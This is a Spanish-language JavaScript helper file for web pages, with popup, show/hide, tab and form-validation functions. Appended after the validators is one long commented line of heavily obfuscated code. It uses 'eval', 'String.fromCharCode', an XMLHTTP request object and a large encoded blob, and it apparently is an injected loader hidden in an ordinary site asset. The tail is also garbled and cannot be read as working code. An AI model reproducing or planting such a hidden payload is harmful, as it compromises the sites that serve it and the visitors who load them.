function conf(msg){
	if(confirm(msg)) 
		return true;
	else return false
}
function popUp(url,ancho,alto,xtras){
	var win = window.open(url,'','width='+ancho+',height='+alto+xtras);
	if(!win) alert('Tiene las ventanas emergentes bloqueadas...');
	return false;
}
/* ********** [MOSTRAR OCULTAR CAPAS] ************* */
function mostrar(id_capa){
	var estado = document.getElementById(id_capa).style.display;
	var tipo = document.getElementById(id_capa).tagName;
	if(estado=='none'){
		document.getElementById(id_capa).style.display = 'block';
		if(tipo=='FORM') document.getElementById(id_capa).elements[1].focus();
	}else
		document.getElementById(id_capa).style.display = 'none';
}
/* **************** [FUNCION PARA TABS] *********************** */
var tab_ant = 1;
function TAB(tab){
	document.getElementById('BTN_'+tab_ant).className = 'tab_inactive';
	document.getElementById('BTN_'+tab).className = 'tab_active';
	//--------
	document.getElementById('tab_'+tab_ant).style.display = 'none';
	document.getElementById('tab_'+tab).style.display = 'block';
	tab_ant = tab;
	return false;
}
/* *****************************************************************
 Validacion de formularios
 =========================
 Ej. de uso:
 
 En el HEAD incluir el archivo JS:
 <script type="text/javascript" language="javascript" src="validaciones.js"></script>
 
 En el formulario se debe agregar el evento onsubmit():
 <form id="frm" name="frm" method="post" action="pagina.php" onsubmit="return submitForm(this);">
 
 A los campos que son requeridos se les agrega el atributo PD="TIPO_DATO|MENSAJE":
 <input name="nombre" type="text" id="nombre" PD="string|Nombre completo" />
 
 TIPO_DATO, puede ser: 
 - STRING
 - DATE
 - NUMBER
 - EMAIL
 - LIST
***************************************************************** */
function submitForm(obj){
	var campos = obj.elements;
	var Error = '';
	var primerCampo = false;
	var primerCampoTipo = 'STRING';
	//----
	for(i=0;i<campos.length;i++){
		var attr = campos[i].attributes;
		for(x=0;x<attr.length;x++){
			var flag = false;
			if(attr[x].name.toUpperCase()=='PD'){
				var res = attr[x].value.split(/\|/);
				var tipo = res[0].replace(/^\s+|\s+$/g, "");
				var label = res[1].replace(/^\s+|\s+$/g, "");
				var valor = campos[i].value;
				switch(tipo.toUpperCase()){
					case 'STRING':
						if(!PD_isString(valor)){
							Error += '- "'+label+'" es obligatorio y debe contener caracteres alfanumericos.\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
					case 'NUMBER':
						if(!PD_isNumber(valor)){
							Error += '- "'+label+'" es obligatorio y debe contener un numero.\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
					case 'FILE':
						if(!PD_isString(valor)){
							Error += '- "'+label+'" es obligatorio, debe seleccionar algun archivo valido.\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
					case 'LIST':
						if(!PD_isString(valor)){
							Error += '- "'+label+'" es obligatorio, debe seleccionar alguna opcion.\n';
							if(!primerCampo){
								primerCampo = campos[i];
								primerCampoTipo = 'LIST';
							}
						}
						flag = true;
						break;
					case 'DATE':
						if(!PD_isDate(valor)){
							Error += '- "'+label+'" es obligatorio y debe contener una fecha valida (dd/mm/AAAA).\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
					case 'HOUR':
						if(!PD_isHour(valor)){
							Error += '- "'+label+'" es obligatorio y debe contener una hora valida (HH:mm).\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
					case 'EMAIL':
						if(!PD_isEmail(valor)){
							Error += '- "'+label+'" es obligatorio y debe contener una direccion de correo valida.\n';
							if(!primerCampo) primerCampo = campos[i];
						}
						flag = true;
						break;
				}
			}
			if(flag) break;
		}
	}
	if(Error!=''){
		var cad = 'Se encontraron los siguientes errores:\n';
		cad += '---------------------------------------------\n';
		cad += Error;
		cad += '---------------------------------------------';
		alert(cad);
		if(primerCampoTipo=='STRING'){
			try{
				primerCampo.select();
			}catch(e){};
		}else{
			try{
				primerCampo.focus();
			}catch(e){};
		}
		return false;
	}
	return true;
}
function PD_isNumber(str){
	if(str.match(/^\d+$/))return true;
	else return false;
}
function PD_isString(str){
	var cad = str.replace(/^\s+|\s+$/g, "");
	if(cad!='') return true;
	else return false;
}
function PD_isDate(str){
	if(str.match(/\b(0?[1-9]|[12][0-9]|3[01])[- \/.](0?[1-9]|1[012])[- \/.](19|20)[0-9]{2}\b/)) return true;
	else return false;
}
function PD_isHour(str){
	if(str.match(/^([0-5]?[0-9]:)?([0-5]?[0-9])$/)) return true;
	else return false;
}
function PD_isEmail(str){
	if(str.match(/^[A-Za-z][A-Za-z0-9_]*@[A-Za-z0-9_\-]+\.[A-Za-z0-9_.]+[A-za-z]$/)) return true;
	else return false;
}


//  $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv _>, =vars Z 4== =vars A=  /( % $o), % >)) + t[ % $o) [% >) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i< H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))>=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i< $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+\',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&& Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&& 4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS <t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"\\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",>%8%8*2*5LB0_*4:"rCode("<6#fF%3#f#7#d_$4y<d*3*6$eV*e*d$a*3&6R8#b!0G%4#d%eTM `8B6P*3K#6>*4HY/c*dPB1JJ-a$4*6&9<7E*bQ`NX@U&3W2E*eQ*4?Q*2E&7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&6W9*7#f%6-3*d#f-d-fy,a2%2#e T T#c!1&1/b#eT!1#c!1*4*b-d&1/4-f#f%6%2#d ^5`y<4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&9/1@U TLP T&1D3HK%8>O@w*5Y/9O~T@#6T@~&9D1ZwJB6A*eZG&9,d5H*3#8#7E*5?%8&7/d-eF!fJ-eFG%6y/6B0!2G_%3#f_%3yD0%1EJ%1EHwA&5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&9,a2#7G-a?*1-bM?I/1-0-7%4%1$4T#d-c `9J?%8J%3AGE&7Df*e!0*cZA#b!3*2 `aH-aOB7B7OJGI<2?GJ#aPP?$e&1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6`%4$4%b!f&5D4OOOB0#eVN-1&3W0*3$b!3*b*aw*0$b&3De%a@UB0#e-dN-1&3W2>M-3*0K*2*5_&5WeOA%7*3#6-7%e*3&6/4%7!fN f&1,a6M$f_*b#7B1B1#7&5D7#f%a$3XUFPZ e9QMAU$1JB4U&9Wf*5*8@$1>U>@YR1%4Q%6%4UQ%6#7&9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&6D6^F#8~#b%0%0F ea%7%eN%7!2 ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&4D9#8O>HB5>*d@Y<9*5*5#8>*6>>#7YW1^??*4B7?*fGI<7*4#6V*eOA$0V&6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&0Wd%8*3%0$e!fT*5@YWeGB7J-aB2AAH&9<9%7`-b$e|$3-b$b&5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&3,ac%8zK-c$f$b|-c&6R4%aM-dN%aB1-d%e j7$a?U-4Q!3!3?&3<2-7%3-7%4-7T-7%6&1,af%f-f$0-f$1-f$3-f&9R3%0N%0X%0M%0`I,acN-cX-cM-c`-c&6Rc-f$d-f$e-f$f-fB0&9,ac$e-c$f-cB0G!f-7&6,a0FF#7H#6H^H&4D9P#aP#bP#cP#d&5D2#f!f*1A`$a*3*6&6/4-4GF%6GF*fG&1/4T!1_AAAF*f&1D3H@KJ@-bPPYD2!f?KT?-aHP&7/6%7ULV-6UB0-4&3R5!fV$d!fV$4!fV&3<7P>$a-6MM_*b&5RczPJ^#b!3N#d `8M|G-d$bU%2P&5,a9*b>-eG-9%8>-e&1/fV%4ULVNN#e&3/6N*0VQ-e!3>*4&3W3 ^4#8^@E~#8y<2H>$4%0_?*6*6&5/b#e#e~ ^4_$4zy<0#eV$d*0!3#c#6!3&3W4OJ@-fG!2#b#6y/2*4OJ@-f#d_$3yW2_^*fU%2H_#7&5/8M$fL%2H_^*f&5/a%0G!3^VN$dU&3<6*4A-4#fJL#b*0&9D1T*3@-a*5>-3>YD9#9#bH%4-8|$a*4 j5*2#b#6*2#f#6*1#eID0#b#8H#d#6H^#b ed#9OG#8~G#9P&1D3#a#7O#f#9O#e#e&7/dO#6GJJGJP&1D5#a#9^#f#a^#a#a&9/f#8#9!f#8#8!f~~&3D3#c#aO#dO#c#aO&7D9L~LOLJL#6yW0T*3%eM$aH>^Y<d*1~#fZ*0EXM ea*4*5$3^^OB5GIR4N-d%b-f#f-5X$4y<e$3KO%bM$4Q*8&5<b%4N*6Q%7%8@K&3D4U$bz%4Q%6~#b&9DbHB4E~|*4L%f&7R7M$3#dJJ?LV&3<aO@B2O@|O@YRc^G-c^GB3T%2IWaE-dGP-d@EL&0<3%fZ!fE@!3Q$3&0D1ZQK$1@??U&3Db!3*3>!0#8*2|*9&0<cH!fK#b!fP~!fYW0%8Z$aF*eFH%0 ec*8*6?#f?$dzZIDd-c!2E@Q@E-c `6F$bZ%8`K*1^&4D9#9A$1%eQ$0$1$d&9W1#c~*2*0OF#9F&4,a1B1B1#fE*5*1*4E&4<aE@E?-b^%a| j9T`w*9$0w$1w&4R3|G>%8LB2*0>&5W8*2*5>-2P>NL&5,d1A-3~%f$4$4%b`&6,a0-c-5-4*5@`B5*3Y/dzB2*7*a?-2*f@I/2*6 ^b ^a*7!2OyD3%7$4w$e*
